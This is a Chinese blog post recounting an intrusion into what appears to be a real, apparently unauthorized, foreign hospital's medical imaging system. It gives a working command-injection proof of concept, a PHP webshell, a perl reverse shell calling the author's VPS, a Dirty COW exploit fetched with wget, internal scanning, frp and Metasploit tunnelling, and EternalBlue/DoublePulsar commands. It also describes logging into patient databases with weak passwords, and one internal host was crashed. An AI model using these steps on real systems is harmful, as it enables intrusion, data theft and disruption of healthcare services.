【实战】从rce到上马到脏牛提权到内网

【实战】从rce到上马到脏牛提权到内网

外网

信息收集

拿到一个战,得知是ECSimaging

image-20230212212721477

这是一个国外的医疗管理系统,长这样

后续我们在github上面找到这套系统的rce漏洞

/new_movie.php?studyUID=1&start=2&end=2&file=1;pwd

上面是poc

image-20230212212853107

看到成功执行命令。

漏洞分析

直接用exp打的没意思

但是ls之后我发现存在一个www.tar网站备份的文件。于是我决定下载下来对这个漏洞进行研究

image-20230213180055117

image-20230213142620037

直接找到漏洞触发的点,new_movie.php。

打开文件进行审计,关键代码如下

if ( isset($studyUID) && isset($start) && isset($end) && isset($file) )
{
    echo 'studyUID: '.$studyUID.'<br>';
    echo 'start: '.$start.'<br>';
    echo 'end: '.$end.'<br>';
    echo 'file: '.$file.'<br>';

    $start_time = gmdate("H:i:s", $start);
    $duration_time = gmdate("H:i:s", $end-$start);    
    
    $output_file = '/var/www'.str_replace('.mp4','_'.time().'.mp4',$file);
    echo 'output: '.$output_file.'<br>';
    $cmd = 'ffmpeg -ss '.$start_time.' -t '.$duration_time.' -vcodec copy -acodec copy -i /var/www'.$file.' '.$output_file;
    echo $cmd;
    
    $output = '';
    exec( $cmd.' 2>&1', $output );
    echo '<br>';
    print_r($output);
    echo '<br>';

首先是接收了这四个参数,studyUID,start,end,file。可以看到下面的cmd变量,代码中直接将接收到的参数拼接到output_file变量中了,虽然有个str_replace函数,但是并不影响,因为我们的file变量中没有.mp4去给函数进行替换,所以就直接将file拼接到output_file变量中了,output_file变量是放在cmd变量最后的,而且没有经过任何过滤传入exec函数中。

那么这个时候就可用linux分号来分割命令,实现rce。除了分号当然也可以用||,&&等等,但是分号是顺序地独立执行各条命令, 彼此之间不关心是否失败, 所有命令都会执行。

尝试1

我最开始拿到这样一个rce的时候,最先想到的是通过命令写入一句话木马,用哥斯拉或者是其他的webshell管理工具,方便后续的操作。

echo '<? php @eval($_POST["x"]); ?>' >xiaomaomi.php

image-20230212213224258

这里可以看到,我们的小猫咪木马确实是写进去了的。但是访问的时候却解析为500.

image-20230212213255376

我尝试过使用市面上的一些简易免杀版本,同样为500。让我不得不怀疑,这个机器上面存在杀软。

而且我尝试访问过当前目录下的其他php文件,是确实解析了。

甚至cat也能看到文件中的内容

image-20230212213536297

但是xiaomaomi就是不执行。我尝试过比较大的免杀马,但是却有url长度的限制,导致无法写入。

尝试2

当我无法上传木马的时候,我的思路是反弹一个会话,不管是nc也好,msf也好。我都可以更方便的操作。

于是开启了我的花生壳对我的kali虚拟机进行了一个内网穿透,开了个nc监听。

image-20230212220132263

但是都没有什么实质性的进展,最后那个whoami是我用自己的服务器实验了一下内网穿透,就是酱紫。

我把几乎能用到的反弹shell的命令几乎都用上了,就是弹不回来

image-20230212220453965

我怀疑也是防火墙的出网策略或者是杀软搞的鬼。(后来我想可能是php函数的问题,有知道的师傅可以解释一波)

尝试pingdnslog,确定机器确实是出网的

image-20230212220928123

尝试3(成功)

思路回到了上传木马的地方,我不能肯定是不是这些webshell的问题,既然命令写不进去,那我们就放到vps上让服务器去主动下载。

那我们拿自己的vps开一个http服务。

这边开http服务

apt install python3 python3-pip
pip3 install simplefileserver
simplefileserver 8989 
随后访问你的vps的8989端口就可以

然后wget上传大马

image-20230212222541392

内网

提权

本机信息收集

既然是一个医院的系统,我想应该会有内网吧。

不管是不是内网,我们现在的权限还不是root

先看看这个机器的内核版本

uname -a
Linux ecsprod-oldbackup 3.2.0-4-amd64 #1 SMP Debian 3.2.57-3+deb7u1 x86_64 GNU/Linux

是3.2.0-4-amd64

而且我还扫了一下这儿ip的端口,发现22端口居然没开,我本来打算加密钥直接上ssh的,没开22就算了吧,还是先弹个shell回来。

perl -e 'use Socket;$i="vpsip";$p=35932;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'

msf打开

use exploit/multi/handler
set payload  cmd/unix/reverse_bash
set lport  7777
set lhost  172.16.1.10
run

这次用大妈就弹成功了(我试过的,只有大妈能弹,用之前rce漏洞弹不了),再次给kali内网穿透,得到一个msf会话。

我看这个版本的linux应该是可以用脏牛的,现在就试试

这是github上面脏牛的exp

https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c

直接给他wget到tmp目录下面

然后编译gcc -pthread dirty.c -o dirty -lcrypy

但是编译的时候,提示没有相关动态库,而且,我还发现了一个问题。

image-20230213000743643

上面是提示没有动态库,于是决定换一个exp

脏牛提权

换了个exp,顺便用nc在我的vps上弹了个会话(msf有点卡)

提前换成交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'

image-20230213004422893

wget https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c

gcc -pthread dirty.c -o dirty -lcrypt编译一下

./dirty 123456

image-20230213004538455

等待提权成功

image-20230213004917209

提权成功了!

image-20230213005306922

内网信息收集

资产探测

暂且不管是不是虚拟机,我们arp -a看看

image-20230213172555433

貌似还有4台机器啊

也就是说这个网段里面加上我拿下的这台机器,一共有5台机器
本机192.168.1.70

另外三台
? (192.168.1.206) at 00:11:32:eb:41:08 [ether] on eth0
? (192.168.1.111) at 00:11:32:ee:80:15 [ether] on eth0
? (192.168.1.105) at 00:0c:29:31:da:67 [ether] on eth0
DSR-1000AC (192.168.1.1) at f0:b4:d2:23:d3:67 [ether] on eth0
(其中105是第二天出现的,第一天我没看到)

这里我顺便看了看,这个名为DSR-1000AC的机器是路由器。(找了一下没发现路由器的漏洞)

这里先进行存活网段的探测,使用的工具名为netspy,github上面搜得到

chmod 777 ./netspy
./netspy -x is #注:急速模式协程数量为cpu核数*40,只探测段内网关。

以下是扫描结果

./netspy -x is
[INFO] 2023/02/13 11:40 use icmp protocol to spy
[INFO] 2023/02/13 11:40 192.168.0.0/16 is from 192.168.0.0 to 192.168.255.255
[INFO] 2023/02/13 11:40 172.16.0.0/12 is from 172.16.0.0 to 172.31.255.255
[INFO] 2023/02/13 11:40 10.0.0.0/8 is from 10.0.0.0 to 10.255.255.255
2023/02/13 11:40 192.168.1.1/24
2023/02/13 11:40 192.168.0.1/24
2023/02/13 11:40 192.168.5.1/24
2023/02/13 11:40 192.168.215.1/24

大概也就是这四个存活网段1\0\5\215

然后上fscan,开扫。(由于爆破ftp服务会让fscan卡住,我们就不要爆破ftp了)这些服务的密码我后续来爆破。

./fscan_amd64 -h 192.168.1.1/24 -nobr -o 1.txt
./fscan_amd64 -h 192.168.0.1/24 -nobr -o 0.txt
./fscan_amd64 -h 192.168.5.1/24 -nobr -o 5.txt
./fscan_amd64 -h 192.168.215.1/24 -nobr -o 215.txt

拿到输出结果之后,我们用这个工具优化一下输出结果。fscanOutput

扫描结果大致如下,因为我们使用了nobr参数,就导致了不会检测漏洞,我之前扫的时候检测到了ms17010,但是因为爆破ftp卡住了。

后面我们单独列一个表来给fscan跑,之前跑的大部分如下

image-20230213215105594image-20230213215111766

image-20230213215121812

image-20230213215136148

那其他网段我们暂且不看,我们看看1这个网段的机器。

而且经过观察还可以发现,一共有3个域WORKGROUP,MYGROUP,__MSBROWSE__

然后我们把这些机器的ip导到txt中,穿上去再用fscan扫一遍

image-20230213215826502

./fscan_amd64 -hf ta.txt -o all.txt

大概扫描结果如下

image-20230213224256897

二十多台机器,我觉得有两种可能,一种是医院是小医院,一种是这个网里面只有他们对外的服务,没有内部办公电脑。因为我看了一下内部url的title有什么放射学信息系统,还有些其他的,

内网代理

首先我们需要将流量代理出来

我们采用frp,先把frpc传到对面这台机器上

[common]
server_addr = 你的攻击机
server_port = 7000

# 启用加密,防止流量被拦截
use_encryption = true
# 启用压缩,提升流量转发速度
use_compression = true

[socks5]
type = tcp
remote_port = 1080
plugin = socks5

./frpc -c frpc.ini开启服务

然后自己的vps上,也传个frps上去

[common]
server_addr = vps_ip
server_port = 4444

./frps -c frps.ini开启服务,注意现在的socket代理的ip为vps,但是端口为1080

image-20230214011120522

image-20230214011226576

搭建成功!

数据库

一共探测到3个数据库

image-20230214120834713

其中两个是有弱口令的,而78这台机器,提示如下,我们可以拿下其他机器之后再来试试

image-20230214120725755

另外两个数据,我们是可以直接用fscan扫出来的弱口令登录的。

image-20230214120934733

image-20230214121014276

可以发现里面还是有很多数据的

image-20230214121120392

只不过密码被加密了,但是却有邮箱等信息

image-20230214121203058

都是法语看不太懂

image-20230214121416784

横向

尝试1

先给各个机器扫了下弱口令

image-20230214132424369

可惜登录不上,原因未知

image-20230214122437992

先拿下这几台ms17-010好吧

先给kali连上我们的隧道

vim /etc/proxychains4.conf
改好下方的代理地址
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.1.150
run

image-20230214152912193

但是没有成功返回会话,或许是win5的原因,我们先攻击那台win7的机器。

192.168.1.51

image-20230214153404421

等待利用成功。很好,又失败了,Exploit completed, but no session was created.

推测目标机器不出网,使用set payload windows/x64/meterpreter/bind_tcp这个paload正向打

image-20230217225542792

msf > use exploit/windows/smb/ms17_010_eternalblue 

目标出网时反向打:
msf > set payload windows/x64/meterpreter/reverse_tcp 

目标不出网时正向打(如添加了路由):
msf > set payload windows/x64/meterpreter/bind_tcp

但是同样没有shell弹回来。

==================分割线================================

后续我们采用这个脚本打,实战成功率高。

https://github.com/projectboot/EternalPuls

这里我们先给msf加一个路由,先把外网的weblinux主机弹一个会话到我们的kali上。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=你的穿透 LPORT=你的穿透 -f elf > shell.elf

将生成的木马传上去,然后kali开启监听。

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.32.108
set lport 1234
run

然后执行木马(记得给执行权限),成功上线msf

image-20230217233610003

添加路由

run autoroute -s 192.168.1.70/24
run autoroute -p

开启流量代理

use auxiliary/server/socks_proxy
set version 4a
set srvhost 192.168.32.108
set srvport 10011
run

然后在proxychains中配置好刚才的代理

image-20230217234742108

攻击机上也做好代理,可以把原来的frp代理替换掉

image-20230217234855406

然后就可以用脚本开始打了

Eternalblue-2.2.0.exe --InConfig Eternalblue-2.2.0.xml --TargetIp 目标IP --TargetPort 445

Eternalblue-2.2.0.exe --InConfig Eternalblue-2.2.0.xml --TargetIp 192.168.1.51 --TargetPort 445

image-20230217235008559

64位,用msf生成64位的正向payload

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1125 -f dll -o bind.dll

然后就可以用脚本直接打了

Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp 目标ip --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload dll地址 --payloadDllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine "" --NetworkTimeout 60

Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp 192.168.1.51 --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload bind.dll --payloadDllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine "" --NetworkTimeout 60

kali再开一个挂代理的msf,正向连接我们注入的木马

proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.1.51
set lport 1125
run

(这里我应该是把51打蓝屏了,现在51探测不到了。)

尝试2

随后想到拿下了两个数据库,可以尝试udf

image-20230215172207850

image-20230215172222517

先查看了一下,mysql是有写入权限的。

show global variables like '%secure%';

image-20230215172336987

select version();查看当前mysql版本

image-20230215172723491

版本大于5.1,udf.dll文件必须放在MySQL安装目录的lib\plugin文件夹下。(plugin文件夹默认不存在,需要创建)。

show variables like 'plugin%';查看插件位置,有可能实际并不存在这个文件夹,但是会显示出来。所以我们并不知道是否存在这个目录,只能姑且尝试一下。

image-20230215173704248

通过如下命令查看当前机器的系统架构

select @@version_compile_os, @@version_compile_machine;

image-20230215174039550

很奇怪啊,fscan扫出来是win,而mysql查询出来却是linux。(本来想的是拿一台win的机器横向方便点。)

接下来我们去sqlmap内置里面找dll文件,路径如下:sqlmap-master\data\udf\mysql

这台机器是linux64位,那我们就用64位的机器。

不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。这里如果后缀名不为.so_或dll_的话,就需要解码,如果后缀名为.so或.dll的话就不需要解码即可直接使用。这里sqlmap也自带了解码的py脚本,在/extra/cloak目录下,使用cloak.py解密即可。解密命令如下,

python cloak.py -d -i lib_mysqludf_sys.so_ -o lib_mysqludf_sys.so

select hex(load_file('你的地址')) into dumpfile '对面的地址';
#ps:这里windows下目录结构要进行转义双写

但是有时候这一步的写入步骤只会写入一部分的内容,导致接下来的步骤都失败,所以也可以直接写入十六进制数据,详见:https://www.sqlsec.com/tools/udf.html

执行,

image-20230215180547553

可能目录不存在mysql写入的权限。经过下面使用ntfs的特性写入文件得知,文件夹确实是存在的。

image-20230215180027818

而写入如下目录的文件却不可以写进去

image-20230215180703617

也就是说,这个目录不存在mysql写入的权限。udf宣告失败。

但是可以往tmp写东西

image-20230215180812102

那么我们能不能尝试写入密钥(多半不可能,毕竟是root权限的目录)

image-20230215181730240

好,还是不可能。另一台机器我也尝试过,无法写入。

总结

实战内网的经验有些许不足,导致目标蓝屏,无法进一步扩展。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。